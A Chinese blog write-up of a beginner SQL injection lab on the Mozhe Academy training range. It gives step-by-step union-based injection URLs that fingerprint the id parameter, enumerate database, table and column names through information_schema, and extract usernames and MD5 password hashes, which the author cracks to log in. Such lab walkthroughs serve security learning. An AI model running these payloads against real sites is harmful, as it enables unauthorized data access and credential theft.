SQL注入-联合查询注入手打墨者学院入门靶场
1.进入网站查看网站特征:

发现界面存在两个输入框,尝试万能密码能够直接突破:
尝试发现登录失败
查看页面是否原样输出(/判断尝试xss),发现输入数据未原样输出;无法禅师xss注入:


发现页面存在其他链接,点击查看:

发现该页面url携带参数http://www.***.com/new_list.php?id=1可能存在sql注入,单引号井号判断类型:
http://www.***.com/new_list.php?id=1'
发现页面发生变化,初步判断存在sql注入,下面通过and 1=1/or 1判断注入为整形注入还是字符型注入
http://www.***.com/new_list.php?id=1 and 1=1 //真

http://www.***.com/new_list.php?id=1 and 1=2 //假

确定数据类型为整形(也叫数字型),尝试union联合查询注入语句order by判断字段总数量,发现字段总数量为4:
http://www.***.com/new_list.php?id=1 and 1=2 order by 4
使用union语句判断显示位(也叫暴露点)
http://www.***.com/new_list.php?id=1 and 1=2 union select 1,2,3,4

判断结果发现显示位为2,使用mysql语句替换显示位内容,报出数据库敏感信息:
数据库名:
http://www.***.com/new_list.php?id=1 and 1=2 union select 1,database(),3,4

发现数据库名为:mozhe_Discuz_StormGroup
记录下数据库名称后,查看数据库中所有table_Name(表名)
http://www.***.com/new_list.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() limit 0,1

数据库存放两个表,表名分别为:StormGroup_member、notice
得到表名后,已知数据库名、表名,应查看表中的相应数据:
http://www.***.com/new_list.php?id=1 and 1=2 union select 1,(select column_name from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1),3,4

得到一字段为id,同理:其他字段分别为name、password、status


通过数据库名、表名、字段名查询指定数据:
密码:356f589a7df439f6f744ff19bb8092c0 //MD5加密
http://www.***.com/new_list.php?id=1 and 1=2 union select 1,(select password from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1),3,4

用户名:***
http://www.***.com/new_list.php?id=1 and 1=2 union select 1,(select name from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1),3,4
尝试使用注入获取的用户名密码登录却登录失败,分析原因,懵逼中。。。。。
尝试查询其他字段数据发现:
status(limit 0,1):0 //代表第一列无数据;看来得用第二行数据登录
http://www.***.com/new_list.php?id=1 and 1=2 union select 1,(select status from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1),3,4

随后采用以上方法重新查询limit1,1数据,查询得name为:***/password为:3e9ac74458daffd8a13f17805677eb18(md5解密)

使用md5解密所得password字符串
尝试登录,登录成功!


舒服了。。。。。。

本文详细介绍了一次SQL注入攻击的全过程,从发现潜在漏洞到利用union联合查询注入获取数据库敏感信息,包括数据库名、表名、字段名及数据,最终破解登录凭证。

被折叠的 条评论
为什么被折叠?



